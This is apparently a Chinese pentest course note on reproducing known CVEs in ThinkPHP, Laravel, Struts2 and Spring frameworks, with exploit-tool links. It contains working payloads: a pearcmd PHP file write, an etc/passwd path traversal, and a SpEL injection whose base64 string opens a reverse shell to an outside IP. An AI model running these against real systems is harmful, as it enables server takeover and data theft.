服务攻防-开发框架安全&ThinkPHP&Laravel&SpringBoot&Struts2&SpringCloud&复现

知识点:

1、PHP-框架安全-Thinkphp&Laravel

2、J2EE-框架安全-SpringBoot&Struts2

一、演示案例-服务攻防-PHP-框架安全-ThinkPHP&Laravel

ThinkPHP

ThinkPHP是一套开源的、基于PHP的轻量级Web应用开发框架。

综合工具:武器库-Thinkphp专检(3-6版本)

下载地址:https://www.one-fox.cn/th/index.html

1、版本6.X文件包含

在其6.0.13版本及以前

bash 复制代码
/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php


2、版本5.X命令执行

5.0.23以前的版本,5.0.22/5.1.29等。

Laravel

Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)

CVE-2021-3129 RCE

影响版本:Laravel <= 8.4.2

利用工具:https://github.com/zhzyker/CVE-2021-3129


利用工具:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

二、演示案例-服务攻防-J2EE-框架安全-Struts2&Spring

Struts2

Apache Struts2是一个流行的开发Web应用框架,用于开发JavaEE应用。

利用工具:https://github.com/abc123info/Struts2VulsScanTools



Spring

1、Spring-Core-RCE(CVE-2022-22965)

存在于Spring框架以及衍生的框架中,并JDK9.0及以上版本会受到影响。

利用工具:https://github.com/wjl110/CVE-2022-22965_Spring_Core_RCE

2、Spring Boot目录遍历(CVE-2021-21234)

Spring-boot-actuator-logview 0.2.13之前版本存在路径遍历漏洞,攻击者可通过该缺陷读取系统任意文件。

bash 复制代码
/manage/log/view?filename=etc/passwd&base=../../../../../../

3、Spring Cloud Function Spel表达式注入 (CVE-2022-22963)

Spring Cloud Function提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像Amazon AWS Lambda这样的 FaaS(函数即服务,function as a service)平台。

影响版本:3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

文章参考:https://developer.aliyun.com/article/1160011

bash 复制代码
POST:/functionRouter
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")
123





4、Spring Cloud Gateway命令执行 (CVE-2022-22947)

文章参考:https://cloud.tencent.com/developer/article/2164533

Spring Cloud GatewaySpring中的一个API网关。

影响版本:Spring Cloud Gateway 3.1.x < 3.1.1、Spring Cloud Gateway 3.0.x < 3.0.7

其他旧的、不受支持的Spring Cloud Gateway 版本

手工复现参考:https://cloud.tencent.com/developer/article/2164533

推荐使用综合CVE利用工具

5、监控配置不当利用

参考文章:https://superhero.blog.csdn.net/article/details/147804787?spm=1011.2415.3001.5331

6、综合CVE利用工具

https://github.com/0x727/SpringBootExploit
https://github.com/13exp/SpringBoot-Scan-GUI

相关推荐
用户3521802454752 天前
当 Prompt 学会"热更新":Spring Boot × Nacos3 AI 实战
java·spring boot·ai编程
昵称为空C2 天前
手撸一个动态 SQL 执行引擎:不重启服务,在线增删改查任意数据库
spring boot·后端
霸道流氓气质3 天前
领域驱动设计(DDD)在 Spring Boot 微服务中的实践指南
运维·spring boot·微服务
于先生吖3 天前
SpringBoot对接大模型开发AI命理测算系统:八字排盘与AI解析接口源码全解
人工智能·spring boot·后端
Flittly3 天前
【AgentScope Java新手村系列】(10)实战-多Agent天气助手
java·spring boot·spring
星落zx3 天前
Spring Boot 多模型集成:优雅调用全球主流大模型
人工智能·spring boot·chatgpt
一杯奶茶¥3 天前
水果销售网站 CRM客户信息管理系统 超市管理系 酒店管理系统 健身房管理系统 在线音乐网站 校园招聘系统
java·vue.js·spring boot·mysql·spring·java项目
进阶的小名3 天前
Spring Boot SSE + Nginx 配置:解决 EventSource 不实时返回、连接超时、流式响应被缓冲问题
spring boot·后端·nginx
我登哥MVP3 天前
SpringCloud Alibaba 核心组件解析:服务链路追踪
java·spring boot·后端·spring·spring cloud·java-ee·maven